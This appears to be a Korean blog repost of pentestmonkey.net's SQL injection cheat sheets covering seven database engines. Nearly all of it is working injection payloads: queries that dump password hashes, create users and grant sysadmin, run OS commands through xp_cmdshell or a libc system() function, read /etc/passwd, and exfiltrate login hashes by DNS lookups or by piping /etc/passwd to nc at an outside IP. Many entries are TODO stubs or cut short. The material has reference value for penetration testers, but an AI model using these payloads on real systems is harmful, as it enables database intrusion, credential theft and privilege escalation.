MSSQL Injection Cheat Sheet
Version |
SELECT @@version |
Comments |
SELECT 1 — comment |
Current User |
SELECT user_name(); |
List Users |
SELECT name FROM master..syslogins |
List Password Hashes |
SELECT name, password FROM master..sysxlogins — priv, mssql 2000; |
Password Cracker |
MSSQL 2000 and 2005 Hashes are both SHA1-based. phrasen|drescher can crack these. |
List Privileges |
Impossible? |
List DBA Accounts |
TODO |
Current Database |
SELECT DB_NAME() |
List Databases |
SELECT name FROM master..sysdatabases; |
List Columns |
SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = ‘mytable’); — for the current DB only |
List Tables |
SELECT name FROM master..sysobjects WHERE xtype = ‘U’; — use xtype = ‘V’ for views |
Find Tables From Column Name |
– NB: This example works only for the current database. If you wan’t to search another db, you need to specify the db name (e.g. replace sysobject with mydb..sysobjects). |
Select Nth Row |
SELECT TOP 1 name FROM (SELECT TOP 9 name FROM master..syslogins ORDER BY name ASC) sq ORDER BY name DESC — gets 9th row |
Select Nth Char |
SELECT substring(‘abcd’, 3, 1) — returns c |
Bitwise AND |
SELECT 6 & 2 — returns 2 |
ASCII Value -> Char |
SELECT char(0×41) — returns A |
Char -> ASCII Value |
SELECT ascii(‘A’) – returns 65 |
Casting |
SELECT CAST(’1′ as int); |
String Concatenation |
SELECT ‘A’ + ‘B’ – returns AB |
If Statement |
IF (1=1) SELECT 1 ELSE SELECT 2 — returns 1 |
Case Statement |
SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END — returns 1 |
Avoiding Quotes |
SELECT char(65)+char(66) — returns AB |
Time Delay |
WAITFOR DELAY ’0:0:5′ — pause for 5 seconds |
Make DNS Requests |
declare @host varchar(800); select @host = name FROM master..syslogins; exec(‘master..xp_getfiledetails ”\’ + @host + ‘c$boot.ini”’); — nonpriv, works on 2000 declare @host varchar(800); select @host = name + ‘-’ + master.sys.fn_varbintohexstr(password_hash) + ‘.2.pentestmonkey.net’ from sys.sql_logins; exec(‘xp_fileexist ”\’ + @host + ‘c$boot.ini”’); — priv, works on 2005 – NB: Concatenation is not allowed in calls to these SPs, hence why we have to use @host. Messy but necessary. |
Command Execution |
EXEC xp_cmdshell ‘net user’; — priv On MSSQL 2005 you may need to reactivate xp_cmdshell first as it’s disabled by default: |
Local File Access |
CREATE TABLE mydata (line varchar(8000)); |
Hostname, IP Address |
SELECT HOST_NAME() |
Create Users |
EXEC sp_addlogin ‘user’, ‘pass’; — priv |
Drop Users |
EXEC sp_droplogin ‘user’; — priv |
Make User DBA |
EXEC master.dbo.sp_addsrvrolemember ‘user’, ‘sysadmin; — priv |
Location of DB files |
TODO |
Default/System Databases |
northwind |
Oracle SQL Injection Cheat Sheet
Version |
SELECT banner FROM v$version WHERE banner LIKE ‘Oracle%’; |
Comments |
SELECT 1 FROM dual — comment |
Current User |
SELECT user FROM dual |
List Users |
SELECT username FROM all_users ORDER BY username; |
List Password Hashes |
SELECT name, password, astatus FROM sys.user$ — priv, <= 10g. astatus tells you if acct is locked |
Password Cracker |
checkpwd will crack the DES-based hashes from Oracle 8, 9 and 10. |
List Privileges |
SELECT * FROM session_privs; — current privs |
List DBA Accounts |
SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = ‘YES’; — priv, list DBAs, DBA roles |
Current Database |
SELECT global_name FROM global_name; |
List Databases |
SELECT DISTINCT owner FROM all_tables; — list schemas (one per user) |
List Columns |
SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’; |
List Tables |
SELECT table_name FROM all_tables; |
Find Tables From Column Name |
SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE ‘%PASS%’; — NB: table names are upper case |
Select Nth Row |
SELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9; — gets 9th row (rows numbered from 1) |
Select Nth Char |
SELECT substr(‘abcd’, 3, 1) FROM dual; — gets 3rd character, ‘c’ |
Bitwise AND |
SELECT bitand(6,2) FROM dual; — returns 2 |
ASCII Value -> Char |
SELECT chr(65) FROM dual; — returns A |
Char -> ASCII Value |
SELECT ascii(‘A’) FROM dual; — returns 65 |
Casting |
SELECT CAST(1 AS char) FROM dual; |
String Concatenation |
SELECT ‘A’ || ‘B’ FROM dual; — returns AB |
If Statement |
BEGIN IF 1=1 THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END; — doesn’t play well with SELECT statements |
Case Statement |
SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END FROM dual; — returns 1 |
Avoiding Quotes |
SELECT chr(65) || chr(66) FROM dual; — returns AB |
Time Delay |
BEGIN DBMS_LOCK.SLEEP(5); END; — priv, can’t seem to embed this in a SELECT |
Make DNS Requests |
SELECT UTL_INADDR.get_host_address(‘google.com’) FROM dual; |
Command Execution |
Java can be used to execute commands if it’s installed. ExtProc can sometimes be used too, though it normally failed for me. |
Local File Access |
UTL_FILE can sometimes be used. Check that the following is non-null: Java can be used to read and write files if it’s installed (it is not available in Oracle Express). |
Hostname, IP Address |
SELECT UTL_INADDR.get_host_name FROM dual; |
Location of DB files |
SELECT name FROM V$DATAFILE; |
Default/System Databases |
SYSTEM |
MySQL SQL Injection Cheat Sheet
Version |
SELECT @@version |
Comments |
SELECT 1; #comment |
Current User |
SELECT user(); |
List Users |
SELECT user FROM mysql.user; — priv |
List Password Hashes |
SELECT host, user, password FROM mysql.user; — priv |
Password Cracker |
John the Ripper will crack MySQL password hashes. |
List Privileges |
SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges; — list user privs SELECT host, user, Select_priv, Insert_priv, Update_priv, Delete_priv, Create_priv, Drop_priv, Reload_priv, Shutdown_priv, Process_priv, File_priv, Grant_priv, References_priv, Index_priv, Alter_priv, Show_db_priv, Super_priv, Create_tmp_table_priv, Lock_tables_priv, Execute_priv, Repl_slave_priv, Repl_client_priv FROM mysql.user; — priv, list user privs SELECT grantee, table_schema, privilege_type FROM information_schema.schema_privileges; — list privs on databases (schemas) SELECT table_schema, table_name, column_name, privilege_type FROM information_schema.column_privileges; — list privs on columns |
List DBA Accounts |
SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE privilege_type = ‘SUPER’; SELECT host, user FROM mysql.user WHERE Super_priv = ‘Y’; # priv |
Current Database |
SELECT database() |
List Databases |
SELECT schema_name FROM information_schema.schemata; — for MySQL >= v5.0 |
List Columns |
SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’ |
List Tables |
SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’ |
Find Tables From Column Name |
SELECT table_schema, table_name FROM information_schema.columns WHERE column_name = ‘username’; — find table which have a column called ‘username’ |
Select Nth Row |
SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0; # rows numbered from 0 |
Select Nth Char |
SELECT substr(‘abcd’, 3, 1); # returns c |
Bitwise AND |
SELECT 6 & 2; # returns 2 |
ASCII Value -> Char |
SELECT char(65); # returns A |
Char -> ASCII Value |
SELECT ascii(‘A’); # returns 65 |
Casting |
SELECT cast(’1′ AS unsigned integer); |
String Concatenation |
SELECT CONCAT(‘A’,'B’); #returns AB |
If Statement |
SELECT if(1=1,’foo’,'bar’); — returns ‘foo’ |
Case Statement |
SELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END; # returns A |
Avoiding Quotes |
SELECT 0×414243; # returns ABC |
Time Delay |
SELECT BENCHMARK(1000000,MD5(‘A’)); |
Make DNS Requests |
Impossible? |
Command Execution |
If mysqld (<5.0) is running as root AND you compromise a DBA account you can execute OS commands by uploading a shared object file into /usr/lib (or similar). The .so file should contain a User Defined Function (UDF). raptor_udf.c explains exactly how you go about this. Remember to compile for the target architecture which may or may not be the same as your attack platform. |
Local File Access |
…’ UNION ALL SELECT LOAD_FILE(‘/etc/passwd’) — priv, can only read world-readable files. |
Hostname, IP Address |
Impossible? |
Create Users |
CREATE USER test1 IDENTIFIED BY ‘pass1′; — priv |
Delete Users |
DROP USER test1; — priv |
Make User DBA |
GRANT ALL PRIVILEGES ON *.* TO test1@’%'; — priv |
Location of DB files |
SELECT @@datadir; |
Default/System Databases |
information_schema (>= mysql 5.0) |
Postgres SQL Injection Cheat Sheet
Version |
SELECT version() |
Comments |
SELECT 1; –comment |
Current User |
SELECT user; |
List Users |
SELECT usename FROM pg_user |
List Password Hashes |
SELECT usename, passwd FROM pg_shadow — priv |
Password Cracker |
MDCrack can crack PostgreSQL’s MD5-based passwords. |
List Privileges |
SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user |
List DBA Accounts |
SELECT usename FROM pg_user WHERE usesuper IS TRUE |
Current Database |
SELECT current_database() |
List Databases |
SELECT datname FROM pg_database |
List Columns |
SELECT relname, A.attname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind=’r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ‘public’) |
List Tables |
SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN (‘r’,”) AND n.nspname NOT IN (‘pg_catalog’, ‘pg_toast’) AND pg_catalog.pg_table_is_visible(c.oid) |
Find Tables From Column Name |
If you want to list all the table names that contain a column LIKE ‘%password%’: SELECT DISTINCT relname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind=’r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ‘public’) AND attname LIKE ‘%password%’; |
Select Nth Row |
SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 0; — rows numbered from 0 |
Select Nth Char |
SELECT substr(‘abcd’, 3, 1); — returns c |
Bitwise AND |
SELECT 6 & 2; — returns 2 |
ASCII Value -> Char |
SELECT chr(65); |
Char -> ASCII Value |
SELECT ascii(‘A’); |
Casting |
SELECT CAST(1 as varchar); |
String Concatenation |
SELECT ‘A’ || ‘B’; — returnsAB |
If Statement |
IF statements only seem valid inside functions, so aren’t much use for SQL injection. See CASE statement instead. |
Case Statement |
SELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END; — returns A |
Avoiding Quotes |
SELECT CHR(65)||CHR(66); — returns AB |
Time Delay |
SELECT pg_sleep(10); — postgres 8.2+ only |
Make DNS Requests |
Generally not possible in postgres. However if contrib/dblink is installed (it isn’t by default) it can be used to resolve hostnames (assuming you have DBA rights): SELECT * FROM dblink('host=put.your.hostname.here user=someuser dbname=somedb', 'SELECT version()') RETURNS (result TEXT); Alternatively, if you have DBA rights you could run an OS-level command (see below) to resolve hostnames, e.g. “ping pentestmonkey.net”. |
Command Execution |
CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS ‘/lib/libc.so.6′, ‘system’ LANGUAGE ‘C’ STRICT; — priv SELECT system(‘cat /etc/passwd | nc 10.0.0.1 8080′); — priv, commands run as postgres/pgsql OS-level user |
Local File Access |
CREATE TABLE mydata(t text); Write to a file: CREATE TABLE mytable (mycol text); |
Hostname, IP Address |
SELECT inet_server_addr(); — returns db server IP address (or null if using local connection) |
Create Users |
CREATE USER test1 PASSWORD ‘pass1′; — priv |
Drop Users |
DROP USER test1; — priv |
Make User DBA |
ALTER USER test1 CREATEUSER CREATEDB; — priv |
Location of DB files |
SELECT current_setting(‘data_directory’); — priv |
Default/System Databases |
template0 |
DB2 SQL Injection Cheat Sheet
Version |
select versionnumber, version_timestamp from sysibm.sysversions; |
Comments |
select blah from foo; — comment like this |
Current User |
select user from sysibm.sysdummy1; |
List Users |
N/A (I think DB2 uses OS-level user accounts for authentication.) Database authorities (like roles, I think) can be listed like this: |
List Password Hashes |
N/A (I think DB2 uses OS-level user accounts for authentication.) |
List Privileges |
select * from syscat.tabauth; — privs on tables |
List DBA Accounts |
TODO |
Current Database |
select current server from sysibm.sysdummy1; |
List Databases |
SELECT schemaname FROM syscat.schemata; |
List Columns |
select name, tbname, coltype from sysibm.syscolumns; |
List Tables |
select name from sysibm.systables; |
Find Tables From Column Name |
TODO |
Select Nth Row |
select name from (SELECT name FROM sysibm.systables order by |
Select Nth Char |
SELECT SUBSTR(‘abc’,2,1) FROM sysibm.sysdummy1; — returns b |
Bitwise AND |
This page seems to indicate that DB2 has no support for bitwise operators! |
ASCII Value -> Char |
select chr(65) from sysibm.sysdummy1; — returns ‘A’ |
Char -> ASCII Value |
select ascii(‘A’) from sysibm.sysdummy1; — returns 65 |
Casting |
SELECT cast(’123′ as integer) FROM sysibm.sysdummy1; |
String Concatenation |
SELECT ‘a’ concat ‘b’ concat ‘c’ FROM sysibm.sysdummy1; — returns ‘abc’ |
If Statement |
TODO |
Case Statement |
TODO |
Avoiding Quotes |
TODO |
Time Delay |
???See Heavy Queries article for some ideas. |
Make DNS Requests |
TODO |
Command Execution |
TODO |
Local File Access |
TODO |
Hostname, IP Address |
TODO |
Location of DB files |
TODO |
Default/System Databases |
TODO |
Informix SQL Injection Cheat Sheet
Version |
SELECT DBINFO(‘version’, ‘full’) FROM systables WHERE tabid = 1; |
Comments |
select 1 FROM systables WHERE tabid = 1; — comment |
Current User |
SELECT USER FROM systables WHERE tabid = 1; |
List Users |
select username, usertype, password from sysusers; |
List Password Hashes |
TODO |
List Privileges |
select tabname, grantor, grantee, tabauth FROM systabauth join systables on systables.tabid = systabauth.tabid; — which tables are accessible by which users |
List DBA Accounts |
TODO |
Current Database |
SELECT DBSERVERNAME FROM systables where tabid = 1; — server name |
List Databases |
select name, owner from sysdatabases; |
List Columns |
select tabname, colname, owner, coltype FROM syscolumns join systables on syscolumns.tabid = systables.tabid; |
List Tables |
select tabname, owner FROM systables; |
List Stored Procedures |
select procname, owner FROM sysprocedures; |
Find Tables From Column Name |
select tabname, colname, owner, coltype FROM syscolumns join systables on syscolumns.tabid = systables.tabid where colname like ‘%pass%’; |
Select Nth Row |
select first 1 tabid from (select first 10 tabid from systables order by tabid) as sq order by tabid desc; — selects the 10th row |
Select Nth Char |
SELECT SUBSTRING(‘ABCD’ FROM 3 FOR 1) FROM systables where tabid = 1; — returns ‘C’ |
Bitwise AND |
select bitand(6, 1) from systables where tabid = 1; — returns 0 |
ASCII Value -> Char |
TODO |
Char -> ASCII Value |
select ascii(‘A’) from systables where tabid = 1; |
Casting |
select cast(’123′ as integer) from systables where tabid = 1; |
String Concatenation |
SELECT ‘A’ || ‘B’ FROM systables where tabid = 1; — returns ‘AB’ |
String Length |
SELECT tabname, length(tabname), char_length(tabname), octet_length(tabname) from systables; |
If Statement |
TODO |
Case Statement |
select tabid, case when tabid>10 then “High” else ‘Low’ end from systables; |
Avoiding Quotes |
TODO |
Time Delay |
TODO |
Make DNS Requests |
TODO |
Command Execution |
TODO |
Local File Access |
TODO |
Hostname, IP Address |
SELECT DBINFO(‘dbhostname’) FROM systables WHERE tabid = 1; — hostname |
Location of DB files |
TODO |
Default/System Databases |
These are the system databases: |
Ingres SQL Injection Cheat Sheet
Version |
select dbmsinfo(‘_version’); |
Comments |
SELECT 123; — comment |
Current User |
select dbmsinfo(‘session_user’); |
List Users |
First connect to iidbdb, then: |
Create Users |
create user testuser with password = ‘testuser’;– priv |
List Password Hashes |
First connect to iidbdb, then: |
List Privileges |
select dbmsinfo(‘db_admin’); |
List DBA Accounts |
TODO |
Current Database |
select dbmsinfo(‘database’); |
List Databases |
TODO |
List Columns |
select column_name, column_datatype, table_name, table_owner from iicolumns; |
List Tables |
select table_name, table_owner from iitables; |
Find Tables From Column Name |
TODO |
Select Nth Row |
Astoundingly, this doesn’t seem to be possible! This is as close as you can get: select top 10 blah from table; |
Select Nth Char |
select substr(‘abc’, 2, 1); — returns ‘b’ |
Bitwise AND |
The function “bit_and” exists, but seems hard to use. Here’s an select substr(bit_and(cast(3 as byte), cast(5 as byte)),1,1); |
ASCII Value -> Char |
TODO |
Char -> ASCII Value |
TODO |
Casting |
select cast(123 as varchar); |
String Concatenation |
select ‘abc’ || ‘def’; |
If Statement |
TODO |
Case Statement |
TODO |
Avoiding Quotes |
TODO |
Time Delay |
??? See Heavy Queries article for some ideas. |
Make DNS Requests |
TODO |
Command Execution |
TODO |
Local File Access |
TODO |
Hostname, IP Address |
TODO |
Location of DB files |
TODO |
Default/System Databases |
TODO |
Installing Locally |
The Ingres database can be downloaded for free from http://esd.ingres.com/ |
Database Client |
TODO |
Logging in from command line |
$ su - ingres |
Identifying on the network |
TODO |
[출처] pentestmonkey.net
[주의] 본 자료는 연구용 및 학습 자료로 사용하길 바라며, 악의적인 사용시 사용자 본인에게 책임이 있음을 명시합니다.
'위험한_친구들 > 뚱띵이_SQL' 카테고리의 다른 글
My-SQL을 이용한 Webshell 만들기 (0) | 2012.02.28 |
---|---|
Padding oracle attack explained (0) | 2011.10.19 |
Aqua Fold - Aqua Data Studio (0) | 2011.08.09 |